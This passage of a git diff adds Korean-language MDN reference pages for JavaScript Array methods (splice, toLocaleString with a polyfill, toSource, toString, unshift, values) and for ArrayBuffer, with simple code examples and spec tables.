+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">array.splice(<em>start</em>[, <em>deleteCount</em>[, <em>item1</em>[, <em>item2</em>[, <em>...</em>]]]])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>배열의 변경을 시작할 인덱스입니다. 배열의 길이보다 큰 값이라면 실제 시작 인덱스는 배열의 길이로 설정됩니다. 음수인 경우 배열의 끝에서부터 요소를 세어나갑니다(원점 -1, 즉 -n이면 요소 끝의 n번째 요소를 가리키며 <code>array.length - n</code>번째 인덱스와 같음). 값의 절대값이 배열의 길이 보다 큰 경우 0으로 설정됩니다.</dd>
+ <dt><code>deleteCount</code> {{optional_inline}}</dt>
+ <dd>배열에서 제거할 요소의 수입니다.</dd>
+ <dd><code>deleteCount</code>를 생략하거나 값이 <code>array.length - start</code>보다 크면 <code>start</code>부터의 모든 요소를 제거합니다.</dd>
+ <dd><code>deleteCount</code>가 0 이하라면 어떤 요소도 제거하지 않습니다. 이 때는 최소한 하나의 새로운 요소를 지정해야 합니다.</dd>
+ <dt><code>item1, item2, <em>...</em></code> {{optional_inline}}</dt>
+ <dd>배열에 추가할 요소입니다. 아무 요소도 지정하지 않으면 <code>splice()</code>는 요소를 제거하기만 합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>제거한 요소를 담은 배열. 하나의 요소만 제거한 경우 길이가 1인 배열을 반환합니다. 아무 값도 제거하지 않았으면 빈 배열을 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>만약 제거할 요소의 수와 추가할 요소의 수가 다른 경우 배열의 길이는 달라집니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="하나도_제거하지_않고_2번_인덱스에_drum_추가">하나도 제거하지 않고, 2번 인덱스에 "drum" 추가</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2, 0, 'drum');
+
+// myFish is ["angel", "clown", "drum", "mandarin", "sturgeon"]
+// removed is [], no elements removed</pre>
+
+<h3 id="하나도_제거하지_않고_2번_인덱스에_drum과_guitar_추가">하나도 제거하지 않고, 2번 인덱스에 "drum"과 "guitar" 추가</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2, 0, 'drum', 'guitar');
+
+// myFish is ["angel", "clown", "drum", "guitar", "mandarin", "sturgeon"]
+// removed is [], no elements removed
+</pre>
+
+<h3 id="3번_인덱스에서_한_개_요소_제거">3번 인덱스에서 한 개 요소 제거</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(3, 1);
+
+// removed is ["mandarin"]
+// myFish is ["angel", "clown", "drum", "sturgeon"]
+</pre>
+
+<h3 id="2번_인덱스에서_한_개_요소_제거하고_trumpet_추가">2번 인덱스에서 한 개 요소 제거하고 "trumpet" 추가</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'sturgeon'];
+var removed = myFish.splice(2, 1, 'trumpet');
+
+// myFish is ["angel", "clown", "trumpet", "sturgeon"]
+// removed is ["drum"]</pre>
+
+<h3 id="0번_인덱스에서_두_개_요소_제거하고_parrot_anemone_blue_추가">0번 인덱스에서 두 개 요소 제거하고 "parrot", "anemone", "blue" 추가</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(0, 2, 'parrot', 'anemone', 'blue');
+
+// myFish is ["parrot", "anemone", "blue", "trumpet", "sturgeon"]
+// removed is ["angel", "clown"]</pre>
+
+<h3 id="2번_인덱스에서_두_개_요소_제거">2번 인덱스에서 두 개 요소 제거</h3>
+
+<pre class="brush: js">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(myFish.length - 3, 2);
+
+// myFish is ["parrot", "anemone", "sturgeon"]
+// removed is ["blue", "trumpet"]</pre>
+
+<h3 id="-2번_인덱스에서_한_개_요소_제거">-2번 인덱스에서 한 개 요소 제거</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(-2, 1);
+
+// myFish is ["angel", "clown", "sturgeon"]
+// removed is ["mandarin"]</pre>
+
+<h3 id="2번_인덱스를_포함해서_이후의_모든_요소_제거">2번 인덱스를 포함해서 이후의 모든 요소 제거</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2);
+
+// myFish is ["angel", "clown"]
+// removed is ["mandarin", "sturgeon"]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.splice")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()", "push()")}} / {{jsxref("Array.prototype.pop()", "pop()")}} — 배열 끝에 요소를 추가하거나 제거</li>
+ <li>{{jsxref("Array.prototype.unshift()", "unshift()")}} / {{jsxref("Array.prototype.shift()", "shift()")}} — 배열 처음에 요소를 추가하거나 제거</li>
+ <li>{{jsxref("Array.prototype.concat()", "concat()")}} — 배열과 배열 또는 값을 합친 새로운 배열 반환</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.html b/files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.html
new file mode 100644
index 0000000000..4fc1bd7f1a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.html
@@ -0,0 +1,195 @@
+---
+title: Array.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString
+tags:
+ - Array
+ - Internationalization
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toLocaleString()</strong></code> 메서드는 배열의 요소를 나타내는 문자열을 반환합니다. 요소는 <code>toLocaleString</code> 메서드를 사용하여 문자열로 변환되고 이 문자열은 locale 고유 문자열(가령 쉼표 “,”)에 의해 분리됩니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-tolocalestring.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.toLocaleString([locales[, options]]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>locales</code> {{optional_inline}}</dt>
+ <dd>A string with a BCP 47 language tag, or an array of such strings. For the general form and interpretation of the <code>locales</code> argument, see the {{jsxref("Intl")}} page.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>An object with configuration properties, for numbers see {{jsxref("Number.prototype.toLocaleString()")}}, and for dates see {{jsxref("Date.prototype.toLocaleString()")}}.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열의 요소를 표현하는 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>배열의 요소는 <code>toLocaleString</code> 메서드를 사용하여 문자열로 변환됩니다:</p>
+
+<ul>
+ <li><code>Object</code>: {{jsxref("Object.prototype.toLocaleString()")}}</li>
+ <li><code>Number</code>: {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li><code>Date</code>: {{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toLocaleString_사용"><code>toLocaleString</code> 사용</h3>
+
+<pre class="brush: js">var number = 1337;
+var date = new Date();
+var myArr = [number, date, 'foo'];
+
+var str = myArr.toLocaleString();
+
+console.log(str);
+// '1337,6.12.2013 19:37:35,foo' 출력(log)
+// Europe/Berlin 시간대로 German (de-DE) locale에서 실행하는 경우
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma402/#sup-array.prototype.tolocalestring
+if (!Array.prototype.toLocaleString) {
+ Object.defineProperty(Array.prototype, 'toLocaleString', {
+ value: function(locales, options) {
+ // 1. Let O be ? ToObject(this value).
+ if (this == null) {
+ throw new TypeError('"this" is null or not defined');
+ }
+
+ var a = Object(this);
+
+ // 2. Let len be ? ToLength(? Get(A, "length")).
+ var len = a.length &gt;&gt;&gt; 0;
+
+ // 3. Let separator be the String value for the
+ // list-separator String appropriate for the
+ // host environment's current locale (this is
+ // derived in an implementation-defined way).
+ // NOTE: In this case, we will use a comma
+ var separator = ',';
+
+ // 4. If len is zero, return the empty String.
+ if (len === 0) {
+ return '';
+ }
+
+ // 5. Let firstElement be ? Get(A, "0").
+ var firstElement = a[0];
+ // 6. If firstElement is undefined or null, then
+ // a.Let R be the empty String.
+ // 7. Else,
+ // a. Let R be ?
+ // ToString(?
+ // Invoke(
+ // firstElement,
+ // "toLocaleString",
+ // « locales, options »
+ // )
+ // )
+ var r = firstElement == null ?
+ '' : firstElement.toLocaleString(locales, options);
+
+ // 8. Let k be 1.
+ var k = 1;
+
+ // 9. Repeat, while k &lt; len
+ while (k &lt; len) {
+ // a. Let S be a String value produced by
+ // concatenating R and separator.
+ var s = r + separator;
+
+ // b. Let nextElement be ? Get(A, ToString(k)).
+ var nextElement = a[k];
+
+ // c. If nextElement is undefined or null, then
+ // i. Let R be the empty String.
+ // d. Else,
+ // i. Let R be ?
+ // ToString(?
+ // Invoke(
+ // nextElement,
+ // "toLocaleString",
+ // « locales, options »
+ // )
+ // )
+ r = nextElement == null ?
+ '' : nextElement.toLocaleString(locales, options);
+
+ // e. Let R be a String value produced by
+ // concatenating S and R.
+ r = s + r;
+
+ // f. Increase k by 1.
+ k++;
+ }
+
+ // 10. Return R.
+ return r;
+ }
+ });
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.4.3', 'Array.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int Draft', '#sup-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES Int Draft')}}</td>
+ <td>This definition supersedes the definition provided in ECMA-262.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.toLocaleString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("Intl")}}</li>
+ <li>{{jsxref("Object.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/tosource/index.html b/files/ko/web/javascript/reference/global_objects/array/tosource/index.html
new file mode 100644
index 0000000000..e503b9c617
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/tosource/index.html
@@ -0,0 +1,71 @@
+---
+title: Array.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Array/toSource
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Non-standard
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p><code><strong>toSource()</strong></code> 메서드는 해당 배열의 소스 코드를 문자열로 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.toSource()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열의 소스 코드를 나타내는 문자열을 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toSource</code> 메서드는 다음의 값을 반환합니다.</p>
+
+<ul>
+ <li>내장 된 {{jsxref("Array")}} 객체의 경우에는 <code>toSource</code>는 소스 코드를 사용할 수 없음을 나타내며 다음의 문자열을 반환합니다.
+
+ <pre class="brush: js">function Array() {
+ [native code]
+}
+</pre>
+ </li>
+ <li>{{jsxref("Array")}} 인스턴스의 경우에는<code>toSource</code>는 소스 코드를 나타내는 문자열을 반환합니다.</li>
+</ul>
+
+<p>이 메서드는 보통 코드에 명시되지 않고 자바스크립트 내부적으로 호출됩니다. 디버깅을 위해 <code>toSource</code>를 호출하여 배열의 내용을 검사할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열의_소스_코드_검사하기">배열의 소스 코드 검사하기</h3>
+
+<p>다음 코드는 배열의 소스 코드 문자열을 생성합니다.</p>
+
+<pre class="brush: js">var alpha = new Array('a', 'b', 'c');
+
+alpha.toSource();
+//returns ['a', 'b', 'c']
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<p>Not part of any standard. Implemented in JavaScript 1.3.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.toSource")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/tostring/index.html b/files/ko/web/javascript/reference/global_objects/array/tostring/index.html
new file mode 100644
index 0000000000..9a1179be14
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/tostring/index.html
@@ -0,0 +1,80 @@
+---
+title: Array.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Array/toString
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toString()</strong></code> 메서드는 지정된 배열 및 그 요소를 나타내는 문자열을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-tostring.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.toString()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열을 표현하는 문자열을 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Array")}} 객체는 {{jsxref("Object")}}의 <code>toString</code> 메서드를 재정의(override)합니다. Array 객체에 대해, <code>toString</code> 메서드는 배열을 합쳐(join) 쉼표로 구분된 각 배열 요소를 포함하는 문자열 하나를 반환합니다. 예를 들어, 다음 코드는 배열을 생성하며 그 배열을 문자열로 변환하기 위해 <code>toString</code>을 사용합니다.</p>
+
+<pre class="brush: js">var monthNames = ['Jan', 'Feb', 'Mar', 'Apr'];
+var myVar = monthNames.toString(); // 'Jan,Feb,Mar,Apr'을 myVar에 할당.
+</pre>
+
+<p>JavaScript는 배열이 텍스트 값으로 표현되거나 배열이 문자열 연결(concatenation)에 참조될 때 자동으로 <code>toString</code> 메서드를 호출합니다.</p>
+
+<h3 id="ECMAScript_5_의미">ECMAScript 5 의미</h3>
+
+<p>JavaScript 1.8.5 (Firefox 4)부터, ECMAScript 제5판 의미(semantics)와 일치하는 <code>toString()</code> 메서드는 일반(generic) 메서드이므로 모든 객체에 사용될 수 있습니다. 객체가 <code>join()</code> 메서드가 있는 경우, 호출되어 그 값이 반환됩니다. 그렇지 않으면 {{jsxref("Object.prototype.toString()")}}가 호출되어 그 결과값이 반환됩니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.2', 'Array.prototype.toString')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.toString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/unshift/index.html b/files/ko/web/javascript/reference/global_objects/array/unshift/index.html
new file mode 100644
index 0000000000..c4a03fd091
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/unshift/index.html
@@ -0,0 +1,91 @@
+---
+title: Array.prototype.unshift()
+slug: Web/JavaScript/Reference/Global_Objects/Array/unshift
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>unshift()</strong></code> 메서드는 새로운 요소를 배열의 맨 앞쪽에 추가하고, 새로운 길이를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-unshift.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.unshift([...elementN])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>배열 맨 앞에 추가할 요소.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>메서드를 호출한 배열의 새로운 {{jsxref("Array.length", "length")}} 속성.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>unshift</code> 메서드는 배열 형태의 객체 시작점에 주어진 값을 삽입합니다.</p>
+
+<p><code>unshift</code>는 제네릭하도록 설계되었으며, 배열 형태를 가진 객체가 {{jsxref("Function.call", "호출", "", 1)}}하거나 객체에 {{jsxref("Function.apply", "적용", "", 1)}}할 수 있습니다. <code>length</code> 속성을 가지지 않고, 대신 마지막 요소를 0부터 시작하는 순차적 인덱스로만 나타내는 객체에서는 의도한 것과 다르게 행동할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var arr = [1, 2];
+
+arr.unshift(0); // result of call is 3, the new array length
+// arr is [0, 1, 2]
+
+arr.unshift(-2, -1); // = 5
+// arr is [-2, -1, 0, 1, 2]
+
+arr.unshift([-3]);
+// arr is [[-3], -2, -1, 0, 1, 2]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.unshift")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/values/index.html b/files/ko/web/javascript/reference/global_objects/array/values/index.html
new file mode 100644
index 0000000000..eb66adb964
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/values/index.html
@@ -0,0 +1,87 @@
+---
+title: Array.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Array/values
+tags:
+ - Array
+ - ECMAScript 2015
+ - Iterator
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/values
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>values()</code></strong> 메서드는 배열의 각 인덱스에 대한 값을 가지는 새로운 <strong><code>Array Iterator</code></strong> 객체를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-values.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.values()
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{jsxref("Array")}} 반복기 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="for...of_루프를_통한_반복"><code>for...of</code> 루프를 통한 반복</h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr.values();
+// your browser must support for..of loop
+// and let-scoped variables in for loops
+for (let letter of eArr) {
+ console.log(letter);
+}
+</pre>
+
+<h3 id="다른_반복법">다른 반복법</h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr.values();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.values")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/arraybuffer/arraybuffer/index.html b/files/ko/web/javascript/reference/global_objects/arraybuffer/arraybuffer/index.html
new file mode 100644
index 0000000000..4012646fa4
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/arraybuffer/arraybuffer/index.html
@@ -0,0 +1,70 @@
+---
+title: ArrayBuffer() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/ArrayBuffer
+tags:
+ - ArrayBuffer
+ - Constructor
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>ArrayBuffer()</code></strong> 생성자는 {{jsxref("ArrayBuffer")}} 객체를 생성합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new ArrayBuffer(<em>length</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>생성할 <code>ArrayBuffer</code>의 바이트 크기.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 크기를 가진 새로운 <code>ArrayBuffer</code> 객체. 내용은 모두 0으로 초기화됩니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>length</code>가 {{jsxref("Number.MAX_SAFE_INTEGER")}}보다 크거나, 음수면 {{jsxref("RangeError")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 예제 코드는 8바이트 버퍼를 생성한 후 {{jsxref("Int32Array")}} 뷰로 그 버퍼를 참조합니다.</p>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(8);
+var view = new Int32Array(buffer);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.ArrayBuffer")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html b/files/ko/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html
new file mode 100644
index 0000000000..b17502631a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html
@@ -0,0 +1,57 @@
+---
+title: ArrayBuffer.prototype.byteLength
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength
+tags:
+ - ArrayBuffer
+ - JavaScript
+ - Property
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>byteLength</strong></code> 접근자 속성은 {{jsxref("ArrayBuffer")}}의 길이를 바이트 단위로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-bytelength.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>aybuffer.byteLength</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>byteLength</code> 속성은 설정자 속성이 <code>undefined</code>인 접근자 속성으로, 오직 읽기만 가능합니다. <code>byteLength</code>는 배열 버퍼를 처음 생성할 때 정해지며 바꿀 수 없습니다. <code>ArrayBuffer</code>가 분리된 경우 0을 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+buffer.byteLength; // 8
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.byteLength")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/arraybuffer/index.html b/files/ko/web/javascript/reference/global_objects/arraybuffer/index.html
new file mode 100644
index 0000000000..8b5b0cd361
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/arraybuffer/index.html
@@ -0,0 +1,97 @@
+---
+title: ArrayBuffer
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+tags:
+ - ArrayBuffer
+ - JavaScript
+ - Reference
+ - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>ArrayBuffer</code></strong> 객체는 일반적인 고정 길이 원시 이진 데이터 버퍼를 나타냅니다.</p>
+
